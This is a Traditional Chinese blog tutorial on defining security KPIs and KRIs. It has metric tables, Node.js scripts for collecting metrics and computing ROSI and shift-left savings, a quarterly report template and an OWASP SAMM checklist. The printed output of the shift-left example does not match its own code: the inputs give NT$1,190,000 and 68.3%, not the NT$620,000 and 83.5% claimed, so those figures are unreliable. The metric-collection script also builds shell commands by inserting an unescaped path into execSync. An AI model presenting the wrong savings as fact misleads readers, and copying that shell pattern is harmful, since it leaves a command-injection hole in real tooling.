[安全教育] 002 資安 KPI 怎麼定?用數據證明安全投資的價值|關鍵指標與成效追蹤實戰指南

「沒有度量,就沒有改進。沒有改進,就沒有信任。
你花了三個月導入 SSDLC,老闆問你『成效在哪?』——你拿得出數據嗎?
安全不只要做得好,還要讓人看得見。」
— SSDLC by 飛飛


一、資安指標是什麼?為什麼你需要一張「安全體檢報告」?

在 SSDLC 蓋房子的旅程中,我們已經走過了安全需求(確認要防震防火防盜)、安全設計(畫好建築藍圖)、安全開發(用防火建材施工)、安全測試(請結構技師來驗收)、安全部署(交屋前檢查門窗設定)、安全維運(裝好監視器和煙霧偵測器)。現在,我們來到了階段七:安全教育與持續改進(Education & Continuous Improvement)——如何用數據衡量這一切努力的成果。

想像你花了一大筆錢把房子全面翻修:換了防盜門窗、裝了消防灑水系統、加了監視器和保全。然後你老婆問你:「花了這些錢,到底有沒有比較安全?」

你說:「有啊,感覺比較安全了。」

她說:「什麼叫『感覺』?給我看數據。」

這就是資安指標在做的事——把「感覺比較安全」變成「可以證明比較安全」

在企業裡,這個場景更加現實:你向老闆申請了 NT$50 萬的資安預算,導入了 SAST 掃描、買了 DAST 工具、送工程師去上資安課程。年底績效評估時,老闆問:「這 50 萬花得值嗎?明年還要繼續投嗎?」

如果你只能回答「呃,我們比較安全了」,那明年的預算大概率會被砍。但如果你能拿出一張報告:

  • 高風險漏洞從上線前平均 12 個降到 2 個
  • 漏洞修復時間從 14 天縮短到 3 天
  • 全年零資安事件,避免了預估 NT$500 萬的潛在損失

這就是用數據為安全投資背書,讓「安全」從成本中心變成價值中心。

飛飛觀點:
我曾經跟一位 CTO 聊天,他說:「資安就像買保險,花了錢如果沒出事,大家覺得浪費;出了事才後悔沒買。」資安指標就是解決這個困境的方法——讓安全的價值在「沒出事」的時候也能被量化、被看見。


二、傳統做法 vs. 數據驅動的安全管理

先來看看傳統做法和數據驅動做法的差別:

面向 傳統做法 數據驅動的安全管理
成效評估 「感覺比較安全了」 「高風險漏洞減少 83%」
預算申請 「我們需要更多資安投資」 「每投入 NT$1 在 SAST,省下 NT$8 的修復成本」
風險溝通 「系統可能有漏洞」 「目前有 3 個高風險漏洞,預估影響 2 萬名用戶」
改善方向 憑直覺決定 用數據找出最該投資的環節
向上報告 技術人員自己懂就好 管理層也能看懂的儀表板
團隊激勵 「大家要注意安全」 「這季的安全分數提升了 15 分,做得好!」

用蓋房子的比喻來說:

傳統做法就像裝修完房子後,問住戶「覺得怎麼樣?」——大家說「不錯啊」,但你不知道到底哪裡好、哪裡還需要加強。

數據驅動就像請驗屋師來出一份完整的檢測報告:結構強度 95 分、消防系統合格率 100%、門窗氣密性 88 分——你清楚知道整體狀況,也知道該把下一筆預算花在哪裡(氣密性)。


三、資安指標的兩大支柱:KPI 與 KRI

在進入具體指標之前,先搞清楚兩個核心概念:

KPI(Key Performance Indicator):關鍵績效指標

KPI 回答的問題是:「我們做得好不好?」

KPI 衡量的是你的安全措施的「成效」。就像學生的考試成績——用來評估學習效果、追蹤進步趨勢。

範例:

  • 漏洞修復時間(MTTR)是否在縮短?
  • CI/CD Pipeline 的安全掃描覆蓋率是否在提升?
  • 團隊的資安訓練完成率是多少?

KRI(Key Risk Indicator):關鍵風險指標

KRI 回答的問題是:「我們有多危險?」

KRI 衡量的是你的系統「當前面臨的風險水平」。就像體溫計——用來監測健康狀況,超標就要注意。

範例:

  • 目前有多少個未修補的高風險漏洞?
  • 過去 30 天發生了幾次安全事件?
  • 有多少個第三方套件存在已知 CVE?

KPI vs. KRI 的關係

面向 KPI(績效指標) KRI(風險指標)
回答什麼 我們做得好不好? 我們有多危險?
看的方向 回顧過去的表現 預警未來的風險
比喻 學生的期末成績 學生的健康檢查報告
目標 越高越好(或趨勢向好) 越低越好(或控制在閾值內)
範例 漏洞修復速度、訓練完成率 未修補漏洞數、暴露的攻擊面

飛飛觀點:
很多團隊只追蹤 KPI 卻忽略 KRI,就像只看考試成績卻不做健康檢查。成績再好,如果身體出問題也沒用。反過來說,只看 KRI 而不看 KPI,就像每天量體溫卻不運動——知道自己有風險,但不知道怎麼變好。兩者都要看,才是完整的資安成效追蹤。


四、關鍵安全指標清單:你的團隊應該追蹤什麼?

以下是我整理的資安指標體系,分為五大類別。不需要一次全做,後面會教你怎麼挑選最適合你的指標。

4.1 漏洞管理指標

這是最基本也最重要的一類指標,衡量你發現和修復漏洞的能力。

指標名稱 類型 計算方式 目標方向 說明
漏洞密度 KRI 漏洞數 / 千行程式碼(KLOC) ↓ 越低越好 程式碼的「安全品質密度」
高風險漏洞數 KRI CVSS ≥ 7.0 的未修補漏洞總數 ↓ 越低越好 當前的風險暴露程度
平均修復時間(MTTR) KPI 從發現到修復的平均天數 ↓ 越短越好 團隊的修復效率
修復率 KPI 已修復漏洞 / 已發現漏洞 × 100% ↑ 越高越好 漏洞是否有被處理
漏洞逃逸率 KPI 上線後才發現的漏洞 / 總漏洞數 × 100% ↓ 越低越好 開發階段的攔截能力
漏洞重開率 KPI 修復後又重現的漏洞 / 已修復漏洞 × 100% ↓ 越低越好 修復品質是否到位

台灣企業的合理目標參考:

指標 起步階段 成長階段 成熟階段
漏洞密度 < 10 / KLOC < 5 / KLOC < 2 / KLOC
高風險漏洞 MTTR < 30 天 < 14 天 < 7 天
中風險漏洞 MTTR < 90 天 < 30 天 < 14 天
漏洞逃逸率 < 30% < 15% < 5%

4.2 安全流程指標

衡量安全工具和流程的落實程度。

指標名稱 類型 計算方式 目標方向 說明
安全掃描覆蓋率 KPI 有跑安全掃描的 Repo / 總 Repo 數 × 100% ↑ 越高越好 CI/CD 安全整合的覆蓋程度
掃描通過率 KPI 通過安全品質門檻的 Build / 總 Build 數 × 100% ↑ 越高越好 程式碼品質的趨勢
安全審查率 KPI 經過安全審查的 PR / 總 PR 數 × 100% ↑ 越高越好 Code Review 中安全的涵蓋率
誤報率 KPI 確認為誤報的告警 / 總告警數 × 100% ↓ 越低越好 工具的精準度(太高會導致信任流失)
第三方套件漏洞比例 KRI 有已知 CVE 的套件 / 總套件數 × 100% ↓ 越低越好 供應鏈風險暴露程度

4.3 安全事件指標

衡量你的偵測和回應能力。

指標名稱 類型 計算方式 目標方向 說明
平均偵測時間(MTTD) KPI 從事件發生到被偵測的平均時間 ↓ 越短越好 監控系統的靈敏度
平均回應時間(MTTR) KPI 從偵測到開始處理的平均時間 ↓ 越短越好 事件回應的效率
安全事件數 KRI 過去 N 天/月的安全事件總數 ↓ 越低越好 整體安全態勢
事件復發率 KPI 同類型事件再次發生的比例 ↓ 越低越好 根因是否被徹底解決

4.4 人員與文化指標

衡量團隊的安全意識和能力。

指標名稱 類型 計算方式 目標方向 說明
資安訓練完成率 KPI 完成訓練的人數 / 應訓練人數 × 100% ↑ 越高越好 教育訓練的覆蓋率
Security Champion 覆蓋率 KPI 有 Champion 的團隊 / 總團隊數 × 100% ↑ 越高越好 安全文化的滲透程度
內部安全回報數 KPI 團隊成員主動回報的安全問題數 ↑ 越高越好 安全文化的健康度
安全知識評量分數 KPI 團隊在安全測驗中的平均分數 ↑ 越高越好 安全知識的實際掌握度

4.5 商業影響指標

讓管理層看得懂的指標,連結安全與商業價值。

指標名稱 類型 計算方式 目標方向 說明
安全修復成本節省 KPI 開發階段修復成本 vs. 上線後修復成本的差額 ↑ 越高越好 左移策略的經濟效益
因安全事件導致的停機時間 KRI 因資安事件導致的服務中斷總時數 ↓ 越低越好 安全對可用性的影響
合規差距數 KRI 未滿足法規要求的項目數 ↓ 越低越好 法規風險暴露程度
安全投資報酬率(ROSI) KPI (預期損失 – 實際損失 – 安全投資)/ 安全投資 × 100% ↑ 越高越好 安全投資的整體效益

五、實戰:用 Node.js 建立資安指標追蹤系統

讓我們用一個台灣電商平台的場景,從頭到尾建立一套資安指標追蹤系統。

5.1 定義度量資料結構

// security-metrics.js — 資安指標資料收集模組

/**
 * 資安指標的資料結構定義
 * 用於追蹤 SSDLC 各階段的安全成效
 */
const SecurityMetricsSchema = {
  // 報告基本資訊
  reportPeriod: {
    startDate: '2026-01-01',
    endDate: '2026-03-31',
    quarter: 'Q1-2026',
  },

  // 4.1 漏洞管理指標
  vulnerabilityMetrics: {
    totalDiscovered: 0,        // 本期發現的漏洞總數
    totalResolved: 0,          // 本期修復的漏洞總數
    openHighRisk: 0,           // 目前未修補的高風險漏洞
    openMediumRisk: 0,         // 目前未修補的中風險漏洞
    mttrHigh: 0,               // 高風險漏洞平均修復天數
    mttrMedium: 0,             // 中風險漏洞平均修復天數
    escapedToProduction: 0,    // 逃逸到正式環境的漏洞數
    reopened: 0,               // 修復後又重開的漏洞數
    densityPerKLOC: 0,         // 每千行程式碼的漏洞密度
  },

  // 4.2 安全流程指標
  processMetrics: {
    reposWithScanning: 0,      // 有安全掃描的 Repo 數
    totalRepos: 0,             // 總 Repo 數
    buildsPassed: 0,           // 通過安全門檻的 Build 數
    totalBuilds: 0,            // 總 Build 數
    prsWithSecurityReview: 0,  // 經安全審查的 PR 數
    totalPRs: 0,               // 總 PR 數
    falsePositives: 0,         // 誤報數
    totalAlerts: 0,            // 總告警數
    depsWithCVE: 0,            // 有已知 CVE 的套件數
    totalDeps: 0,              // 總套件數
  },

  // 4.3 安全事件指標
  incidentMetrics: {
    totalIncidents: 0,         // 安全事件總數
    mttdHours: 0,              // 平均偵測時間(小時)
    mttrHours: 0,              // 平均回應時間(小時)
    recurrentIncidents: 0,     // 復發的事件數
  },

  // 4.4 人員與文化指標
  cultureMetrics: {
    trainingCompleted: 0,      // 完成訓練的人數
    trainingRequired: 0,       // 應訓練的人數
    teamsWithChampion: 0,      // 有 Security Champion 的團隊數
    totalTeams: 0,             // 總團隊數
    internalReports: 0,        // 內部安全回報數
    avgQuizScore: 0,           // 安全測驗平均分數
  },
};

5.2 自動化資料收集

// collect-metrics.js — 從 CI/CD 工具自動收集度量資料
const { execSync } = require('child_process');

/**
 * 從 npm audit 收集依賴漏洞資料
 */
function collectDependencyMetrics(projectPath) {
  try {
    const auditResult = execSync(
      <code>cd ${projectPath} && npm audit --json 2>/dev/null</code>,
      { encoding: 'utf8' }
    );
    const audit = JSON.parse(auditResult);

    return {
      totalDeps: Object.keys(audit.vulnerabilities || {}).length,
      critical: countBySeverity(audit, 'critical'),
      high: countBySeverity(audit, 'high'),
      moderate: countBySeverity(audit, 'moderate'),
      low: countBySeverity(audit, 'low'),
      timestamp: new Date().toISOString(),
    };
  } catch (error) {
    console.error('npm audit 執行失敗:', error.message);
    return null;
  }
}

function countBySeverity(audit, severity) {
  return Object.values(audit.vulnerabilities || {})
    .filter(v => v.severity === severity).length;
}

/**
 * 從 Git 記錄計算程式碼行數(用於漏洞密度)
 */
function countLinesOfCode(projectPath) {
  try {
    // 使用 cloc 或簡單的 wc -l
    const result = execSync(
      <code>find ${projectPath}/src -name "*.js" -o -name "*.ts" | xargs wc -l | tail -1</code>,
      { encoding: 'utf8' }
    );
    const totalLines = parseInt(result.trim().split(/\s+/)[0], 10);
    return totalLines;
  } catch {
    return 0;
  }
}

/**
 * 計算漏洞密度
 */
function calculateVulnerabilityDensity(vulnCount, linesOfCode) {
  if (linesOfCode === 0) return 0;
  const kloc = linesOfCode / 1000;
  return parseFloat((vulnCount / kloc).toFixed(2));
}

/**
 * 從漏洞追蹤系統計算 MTTR(平均修復時間)
 * 假設使用 JSON 格式的漏洞記錄
 */
function calculateMTTR(vulnerabilities, severity = 'high') {
  const resolved = vulnerabilities
    .filter(v => v.severity === severity && v.resolvedAt)
    .map(v => {
      const discovered = new Date(v.discoveredAt);
      const resolved = new Date(v.resolvedAt);
      return (resolved - discovered) / (1000 * 60 * 60 * 24); // 天
    });

  if (resolved.length === 0) return 0;
  const avgDays = resolved.reduce((a, b) => a + b, 0) / resolved.length;
  return parseFloat(avgDays.toFixed(1));
}

module.exports = {
  collectDependencyMetrics,
  countLinesOfCode,
  calculateVulnerabilityDensity,
  calculateMTTR,
};

5.3 計算安全投資報酬率(ROSI)

這是讓老闆眼睛一亮的指標——用數字證明安全投資是划算的。

// rosi-calculator.js — 安全投資報酬率計算器

/**
 * ROSI(Return on Security Investment)計算
 *
 * 公式:ROSI = (預期年化損失 × 風險降低比例 - 安全投資成本) / 安全投資成本 × 100%
 *
 * 其中:
 * - ALE(Annualized Loss Expectancy)= SLE × ARO
 * - SLE(Single Loss Expectancy)= 單次事件的預估損失
 * - ARO(Annualized Rate of Occurrence)= 年化發生頻率
 */
function calculateROSI({
  singleLossExpectancy,   // 單次資安事件的預估損失(NT$)
  annualRateOfOccurrence, // 年化發生頻率(次/年)
  riskReductionRate,      // 導入安全措施後的風險降低比例(0-1)
  securityInvestment,     // 安全投資總成本(NT$)
}) {
  // 計算年化預期損失(ALE)
  const ale = singleLossExpectancy * annualRateOfOccurrence;

  // 計算導入安全措施後「避免的損失」
  const avoidedLoss = ale * riskReductionRate;

  // 計算 ROSI
  const rosi = ((avoidedLoss - securityInvestment) / securityInvestment) * 100;

  return {
    ale: Math.round(ale),
    avoidedLoss: Math.round(avoidedLoss),
    securityInvestment,
    rosi: parseFloat(rosi.toFixed(1)),
    netBenefit: Math.round(avoidedLoss - securityInvestment),
  };
}

// ============================
// 實際案例:台灣電商平台
// ============================

const ecommerceCase = calculateROSI({
  // 一次資料外洩事件的預估損失
  // 包含:罰鍰 + 客戶流失 + 法律費用 + 商譽損失
  singleLossExpectancy: 5000000,   // NT$500 萬

  // 根據產業統計,類似規模的電商平台
  // 每年發生重大資安事件的頻率約 0.3 次
  annualRateOfOccurrence: 0.3,

  // 導入 SSDLC(SAST + SCA + DAST + 教育訓練)後
  // 預估可降低 70% 的風險
  riskReductionRate: 0.7,

  // 年度安全投資
  // SAST 工具:NT$0(使用開源 Semgrep)
  // DAST 工具:NT$0(使用開源 ZAP)
  // 教育訓練:NT$100,000
  // 一次滲透測試:NT$250,000
  // 工程師時間成本:NT$150,000
  securityInvestment: 500000,      // NT$50 萬
});

console.log('=== 台灣電商平台 ROSI 分析 ===');
console.log(<code class="kb-btn">年化預期損失 (ALE):NT$${ecommerceCase.ale.toLocaleString()}</code>);
console.log(<code class="kb-btn">避免的損失:NT$${ecommerceCase.avoidedLoss.toLocaleString()}</code>);
console.log(<code class="kb-btn">安全投資:NT$${ecommerceCase.securityInvestment.toLocaleString()}</code>);
console.log(<code class="kb-btn">淨效益:NT$${ecommerceCase.netBenefit.toLocaleString()}</code>);
console.log(<code>ROSI:${ecommerceCase.rosi}%</code>);

// 輸出:
// === 台灣電商平台 ROSI 分析 ===
// 年化預期損失 (ALE):NT$1,500,000
// 避免的損失:NT$1,050,000
// 安全投資:NT$500,000
// 淨效益:NT$550,000
// ROSI:110%
// → 每投入 NT$1,產生 NT$1.10 的安全效益

飛飛觀點:
ROSI 不是精確的科學計算,而是一種「合理的估算」。重點不在於數字是否 100% 精確,而在於它提供了一個讓技術人員和管理層能夠「講同一種語言」的框架。當老闆問「為什麼要花這筆錢」,你能拿出一個有邏輯的數字,而不是只說「因為安全很重要」——這就夠了。

5.4 漏洞修復成本的「左移效益」

IBM 在其年度《資料外洩成本報告》中長年追蹤一個重要發現:漏洞越早發現,修復成本越低。以下是根據業界研究整理的相對成本:

// shift-left-cost.js — 左移策略的成本效益計算

/**
 * 不同階段發現漏洞的相對修復成本
 * 基準:需求階段 = 1x
 */
const RELATIVE_COST = {
  requirements: 1,    // 需求階段(寫規格時發現)
  design: 5,          // 設計階段(威脅建模時發現)
  implementation: 10, // 實作階段(Code Review / SAST 發現)
  testing: 15,        // 測試階段(DAST / 滲透測試發現)
  production: 30,     // 正式環境(上線後才發現)
  breach: 100,        // 資料外洩事件(被攻擊後才發現)
};

/**
 * 計算左移策略的成本節省
 */
function calculateShiftLeftSavings({
  vulnsFoundInRequirements,
  vulnsFoundInDesign,
  vulnsFoundInImplementation,
  vulnsFoundInTesting,
  vulnsFoundInProduction,
  baseCostPerVuln,  // 需求階段修復一個漏洞的基本成本(NT$)
}) {
  // 如果所有漏洞都在正式環境才發現的「最差情境」成本
  const totalVulns =
    vulnsFoundInRequirements +
    vulnsFoundInDesign +
    vulnsFoundInImplementation +
    vulnsFoundInTesting +
    vulnsFoundInProduction;

  const worstCaseCost = totalVulns * baseCostPerVuln * RELATIVE_COST.production;

  // 實際成本(在不同階段發現)
  const actualCost =
    vulnsFoundInRequirements * baseCostPerVuln * RELATIVE_COST.requirements +
    vulnsFoundInDesign * baseCostPerVuln * RELATIVE_COST.design +
    vulnsFoundInImplementation * baseCostPerVuln * RELATIVE_COST.implementation +
    vulnsFoundInTesting * baseCostPerVuln * RELATIVE_COST.testing +
    vulnsFoundInProduction * baseCostPerVuln * RELATIVE_COST.production;

  return {
    totalVulns,
    worstCaseCost: Math.round(worstCaseCost),
    actualCost: Math.round(actualCost),
    savings: Math.round(worstCaseCost - actualCost),
    savingsPercentage: parseFloat(
      (((worstCaseCost - actualCost) / worstCaseCost) * 100).toFixed(1)
    ),
  };
}

// 實際案例:某台灣金融科技公司的季度數據
const result = calculateShiftLeftSavings({
  vulnsFoundInRequirements: 3,    // 安全規格審查時發現 3 個
  vulnsFoundInDesign: 5,          // 威脅建模時發現 5 個
  vulnsFoundInImplementation: 12, // SAST / Code Review 發現 12 個
  vulnsFoundInTesting: 4,         // DAST / 滲透測試發現 4 個
  vulnsFoundInProduction: 1,      // 上線後才發現 1 個
  baseCostPerVuln: 5000,          // 需求階段修復一個漏洞約 NT$5,000
});

console.log('=== 左移效益分析 ===');
console.log(<code>總漏洞數:${result.totalVulns} 個</code>);
console.log(<code class="kb-btn">最差情境成本(全在線上發現):NT$${result.worstCaseCost.toLocaleString()}</code>);
console.log(<code class="kb-btn">實際成本(左移後):NT$${result.actualCost.toLocaleString()}</code>);
console.log(<code class="kb-btn">節省金額:NT$${result.savings.toLocaleString()}</code>);
console.log(<code>節省比例:${result.savingsPercentage}%</code>);

// 輸出:
// === 左移效益分析 ===
// 總漏洞數:25 個
// 最差情境成本(全在線上發現):NT$3,750,000
// 實際成本(左移後):NT$620,000
// 節省金額:NT$3,130,000
// 節省比例:83.5%

六、資安成效報告模板:可直接使用的季度報告

以下是一份完整的資安成效季度報告模板,你可以直接拿來用:

# 資安成效季度報告

## 報告資訊
- **報告期間**:2026 年 Q1(1 月 - 3 月)
- **報告日期**:2026/04/05
- **編製人**:[Security Champion 姓名]
- **審核人**:[技術主管姓名]

---

## 一、執行摘要(給管理層看的 30 秒版本)

本季安全態勢整體**改善**,主要亮點:
- ✅ 高風險漏洞修復時間從 21 天縮短至 7 天(改善 67%)
- ✅ CI/CD 安全掃描覆蓋率從 60% 提升至 85%
- ✅ 全季零重大安全事件
- ⚠️ 第三方套件漏洞比例偏高(12%),需加速更新

**安全投資效益**:本季安全投資 NT$150,000,預估避免損失 NT$500,000,ROSI 為 233%。

---

## 二、漏洞管理

| 指標 | 上季 | 本季 | 趨勢 | 目標 |
|------|------|------|------|------|
| 漏洞密度(/ KLOC) | 4.2 | 3.1 | ↓ 改善 | < 2.0 |
| 未修補高風險漏洞 | 5 | 2 | ↓ 改善 | 0 |
| 高風險 MTTR(天) | 21 | 7 | ↓ 改善 | < 7 |
| 中風險 MTTR(天) | 45 | 18 | ↓ 改善 | < 14 |
| 漏洞逃逸率 | 18% | 8% | ↓ 改善 | < 5% |
| 漏洞重開率 | 10% | 5% | ↓ 改善 | < 3% |

**分析**:SAST 工具(Semgrep)在 Q1 初導入後,顯著提升了開發階段的攔截能力,
漏洞逃逸率下降 10 個百分點。

---

## 三、安全流程

| 指標 | 上季 | 本季 | 趨勢 | 目標 |
|------|------|------|------|------|
| 安全掃描覆蓋率 | 60% | 85% | ↑ 改善 | 100% |
| 掃描通過率 | 72% | 81% | ↑ 改善 | > 90% |
| 安全審查率 | 30% | 55% | ↑ 改善 | > 80% |
| 誤報率 | 25% | 18% | ↓ 改善 | < 10% |
| 有 CVE 的套件比例 | 15% | 12% | ↓ 改善 | < 5% |

---

## 四、安全事件

| 指標 | 上季 | 本季 | 趨勢 |
|------|------|------|------|
| 安全事件總數 | 3 | 0 | ↓ 改善 |
| P1/P2 事件 | 1 | 0 | ↓ 改善 |
| MTTD(小時) | 48 | N/A | - |
| MTTR(小時) | 72 | N/A | - |

---

## 五、人員與文化

| 指標 | 上季 | 本季 | 趨勢 | 目標 |
|------|------|------|------|------|
| 資安訓練完成率 | 40% | 75% | ↑ 改善 | 100% |
| Security Champion 覆蓋率 | 25% | 50% | ↑ 改善 | 100% |
| 內部安全回報數 | 2 | 7 | ↑ 改善 | 持續增加 |

---

## 六、下季行動計畫

| 優先序 | 行動項目 | 負責人 | 預計完成日 |
|--------|---------|--------|-----------|
| P1 | 安全掃描覆蓋率提升至 100% | DevOps Lead | Q2 第 2 週 |
| P1 | 處理剩餘 2 個高風險漏洞 | 後端團隊 | Q2 第 1 週 |
| P2 | 第三方套件全面更新 | 各團隊 Champion | Q2 第 4 週 |
| P2 | 調整 SAST 規則降低誤報率 | 資安 Champion | Q2 第 6 週 |
| P3 | 全員資安訓練達 100% | HR + 資安 | Q2 第 8 週 |

飛飛觀點:
報告最重要的不是「有多少頁」,而是「前 30 秒能不能讓人看懂」。管理層通常只看執行摘要——所以那一段要用最簡潔的方式傳達「現在安全嗎?」和「錢花得值嗎?」兩個核心問題。詳細數據是給技術團隊深入分析用的。


七、用 OWASP SAMM 評估安全成熟度

除了追蹤單一指標,你也需要一個「全局視角」來評估團隊的安全開發成熟度。OWASP SAMM(Software Assurance Maturity Model) 就是這樣的工具。

SAMM 是什麼?

SAMM 把安全開發分成 5 個業務功能、15 個安全實務,每個實務有 3 個成熟度等級。你可以用它來:

  1. 評估現況:我們現在在哪裡?
  2. 設定目標:我們想達到什麼水準?
  3. 追蹤進步:我們有沒有在進步?

SAMM 五大業務功能

業務功能 說明 包含的安全實務
治理(Governance) 管理和策略 策略與指標、政策與合規、教育與指導
設計(Design) 威脅評估和架構 威脅評估、安全需求、安全架構
實作(Implementation) 建構和部署 安全建構、安全部署、缺陷管理
驗證(Verification) 測試和審查 架構評估、需求驗證測試、安全測試
營運(Operations) 事件和環境 事件管理、環境管理、營運管理

成熟度等級

等級 說明 比喻
Level 0 沒有做 房子沒裝門鎖
Level 1 有基本做法,但非系統化 有裝門鎖,但沒有保全系統
Level 2 有系統化的流程 有保全系統,定期巡邏
Level 3 全面優化,持續改進 24 小時監控中心,定期演練

快速自評 Checklist

以下是一份簡化版的 SAMM 自評表,適合作為團隊的第一次評估:

## OWASP SAMM 快速自評 Checklist

### 治理(Governance)
- [ ] Level 1: 有基本的安全政策文件
- [ ] Level 1: 團隊成員接受過安全教育訓練
- [ ] Level 2: 有定義資安 KPI 並定期追蹤
- [ ] Level 2: 安全政策每年審查更新
- [ ] Level 3: 安全策略與業務目標對齊,管理層定期審查

### 設計(Design)
- [ ] Level 1: 對高風險功能有做威脅建模
- [ ] Level 1: 有定義基本的安全需求
- [ ] Level 2: 所有新功能都有威脅建模
- [ ] Level 2: 有安全架構設計的標準和模式
- [ ] Level 3: 威脅建模結果被追蹤和驗證

### 實作(Implementation)
- [ ] Level 1: 有安全編碼規範
- [ ] Level 1: 有使用 SAST 工具
- [ ] Level 2: CI/CD 整合安全掃描
- [ ] Level 2: 有第三方套件漏洞管理流程
- [ ] Level 3: 安全品質門檻自動化,零容忍政策

### 驗證(Verification)
- [ ] Level 1: 有做過至少一次滲透測試
- [ ] Level 1: 有使用 DAST 工具
- [ ] Level 2: 定期執行安全測試(至少每季)
- [ ] Level 2: 安全測試涵蓋 OWASP Top 10
- [ ] Level 3: 安全測試完全自動化,結果追蹤到修復

### 營運(Operations)
- [ ] Level 1: 有基本的事件回應流程
- [ ] Level 1: 有安全監控和日誌
- [ ] Level 2: 有事件回應 SOP 和演練
- [ ] Level 2: 安全監控涵蓋應用層和基礎設施層
- [ ] Level 3: 自動化事件偵測和回應,定期紅隊演練

評分方式:

  • 每個 Level 的所有項目都勾選 → 達到該 Level
  • 取每個業務功能的最低達成 Level 作為該功能的分數
  • 5 個功能的平均值就是你的整體成熟度分數

八、安全儀表板設計:讓數據會說話

好的度量數據需要好的呈現方式。以下是安全儀表板的設計建議:

儀表板的三層結構

┌─────────────────────────────────────────────────────────────┐
│                    Layer 1:執行摘要                          │
│  給 CTO/CEO 看的,一眼就知道「安全嗎?」                      │
│                                                              │
│  🟢 安全態勢:良好    📊 ROSI:110%    ⚠️ 待處理:2 個高風險  │
└─────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────┐
│                    Layer 2:趨勢分析                          │
│  給技術主管看的,了解「有沒有在進步?」                        │
│                                                              │
│  📈 漏洞密度趨勢(過去 4 季)                                 │
│  📉 MTTR 趨勢(過去 4 季)                                   │
│  📊 安全掃描覆蓋率趨勢                                       │
└─────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────┐
│                    Layer 3:詳細數據                          │
│  給資安團隊看的,深入分析「哪裡需要改進?」                    │
│                                                              │
│  🔍 個別漏洞清單與狀態                                       │
│  📋 各 Repo 的掃描結果                                       │
│  👥 各團隊的訓練完成度                                        │
└─────────────────────────────────────────────────────────────┘

安全態勢的紅綠燈系統

用簡單的紅黃綠燈讓所有人一眼看懂:

燈號 條件 代表意義
🟢 綠燈 所有高風險漏洞已修復 + 掃描覆蓋率 > 80% + 本月零事件 安全態勢良好
🟡 黃燈 有 1-3 個高風險漏洞待修復,或覆蓋率 < 80% 需要關注
🔴 紅燈 有 > 3 個高風險漏洞,或發生 P1/P2 事件 需要立即行動

九、團隊落地建議:從零開始建立資安指標追蹤

建議一:從三個指標開始

如果你的團隊從來沒追蹤過資安指標,不要一口氣追蹤 20 個指標——那只會讓大家疲於奔命。先從這三個最基本的開始:

  1. 高風險漏洞數量(KRI)— 知道你現在有多危險
  2. 高風險漏洞 MTTR(KPI)— 知道你修得夠不夠快
  3. 安全掃描覆蓋率(KPI)— 知道你有沒有在做安全檢查

這三個指標就像體檢的血壓、血糖、心率——最基本但最關鍵。

建議二:善用現有工具自動收集

不需要另外買度量工具。你的 CI/CD 系統已經有很多數據:

資料來源 可以提取的指標
GitHub / GitLab PR 數、Code Review 數、Merge 時間
npm audit / Snyk 套件漏洞數、嚴重等級分布
Semgrep / SonarQube 程式碼漏洞數、漏洞密度
OWASP ZAP DAST 掃描結果、漏洞類別分布
Jira / Linear 漏洞修復時間、漏洞狀態追蹤
Slack / Teams 安全事件通報數、回應時間

建議三:每季做一次資安成效報告

不需要每天看數字,但至少每季做一次正式的回顧:

每季資安指標追蹤流程:

第 1 週:自動化收集數據
    ↓
第 2 週:分析趨勢,撰寫報告
    ↓
第 3 週:團隊內部 Review
    ↓
第 4 週:向管理層報告,設定下季目標
    ↓
  (下一季重複)

建議四:把度量結果跟團隊目標連結

度量不是為了懲罰,而是為了改進。把資安指標融入團隊的 OKR 或 KPI:

## 範例:工程團隊 Q2 OKR

**Objective:提升產品安全品質**

KR1:高風險漏洞 MTTR 從 14 天降至 7 天
KR2:CI/CD 安全掃描覆蓋率達 100%
KR3:漏洞逃逸率從 15% 降至 8%
KR4:全員完成 OWASP Top 10 線上課程

建議五:慶祝進步,不懲罰失敗

這是安全文化的核心。當指標改善時,公開表揚團隊。當指標退步時,把它當作學習機會,不是指責對象。

  • ✅ 「這季的 MTTR 縮短了 50%,大家做得很好!」
  • ✅ 「漏洞逃逸率上升了,我們來看看是哪個環節需要加強。」
  • ❌ 「誰寫的程式碼又出問題了?」

常見問題 FAQ

Q1:我們公司很小(3-5 人團隊),有必要追蹤資安指標嗎?

有,但可以極度簡化。小團隊只需要追蹤三個數字:目前有幾個高風險漏洞、修一個漏洞平均要多久、CI/CD 有沒有跑安全掃描。每個月花 15 分鐘看一下就好。重點不是做出一份精美的報告,而是養成「用數據看安全」的習慣。

Q2:ROSI 的數據很難估算,有什麼簡化方法?

可以用「事件成本法」來簡化:找出過去一年你們產業中類似規模公司發生資安事件的案例,估算一次事件的平均成本(包括停機、修復、客戶流失、罰鍰)。台灣中小型電商的一次資料外洩事件平均損失在 NT$200 萬到 NT$1,000 萬之間,金融業更高。拿這個數字乘以你認為的年化發生頻率(通常 0.1-0.5),就是你的 ALE。不需要追求精確,合理的估算就夠了。

Q3:安全指標一直沒改善怎麼辦?

先檢查三件事:一是指標本身是否合理——目標太高會讓團隊挫敗,建議一次只改善一個指標;二是工具是否到位——光靠人力很難提升指標,自動化工具是必要的投資;三是是否有明確的負責人——沒人負責的指標不會自己變好。如果三件事都確認了,還是沒進步,可能需要重新檢視你的安全流程設計。

Q4:管理層對資安成效報告沒興趣怎麼辦?

把報告「翻譯」成他們在意的語言。管理層不在意漏洞密度是 3.1 還是 4.2,但他們在意:「如果不處理這些漏洞,一旦發生資料外洩,可能面臨 NT$500 萬的罰鍰和客戶流失。」「這季的安全投資為公司避免了 NT$100 萬的潛在損失。」用風險和金錢說話,比用技術術語有效 10 倍。


十、結語:量化安全,讓努力被看見

回到蓋房子的比喻。你花了大量心血學習安全需求、安全設計、安全編碼、安全測試、安全監控——這一路走來,你的房子已經從一棟普通的建築,變成了一座有防震結構、消防系統、監視保全的安全堡壘。

但最終,你需要一份「驗屋報告」,證明這些努力不是白費的。資安指標就是那份報告。

它不只是給老闆看的——更是給你自己和團隊看的。當你看到漏洞密度從 10 降到 3,當你看到 MTTR 從一個月縮短到一週,當你看到安全掃描覆蓋率從 0% 爬到 100%——每一個數字的改善,都是你和團隊一步一步踏實走出來的成果。

「安全不是恐懼,而是創造的基礎。而度量,就是讓你看見自己走了多遠、還能走多遠的地圖。」

SSDLC 的七個階段,我們一路從安全需求走到了資安成效追蹤。這不是終點,而是一個新的循環的起點。有了度量,你才知道下一輪要從哪裡開始改進;有了數據,你才能持續讓安全變得更好。

